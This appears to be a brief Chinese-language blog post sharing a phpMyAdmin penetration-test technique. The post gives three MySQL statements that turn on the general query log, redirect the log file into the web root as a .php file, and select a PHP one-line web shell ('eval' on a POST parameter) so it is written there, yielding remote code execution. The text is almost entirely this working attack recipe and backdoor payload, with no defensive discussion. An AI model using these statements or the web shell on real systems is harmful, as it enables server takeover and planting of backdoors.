分享Phpmyadmin的一次渗透测试

set global general_log = "ON";   #当开启general时，所执行的sql语句都会出现在WIN-30DFNC8L78A.log文件那么，如果修改general_log_file的值，那么所执行的sql语句就会对应生成进而getshell

SET global general_log_file='D:/phpStudy/WWW/test1234.php';  #对应就会生成test1234.php文件

select '<?php eval($_POST[2019]);?>';          #将一句话木马写入test1234.php文件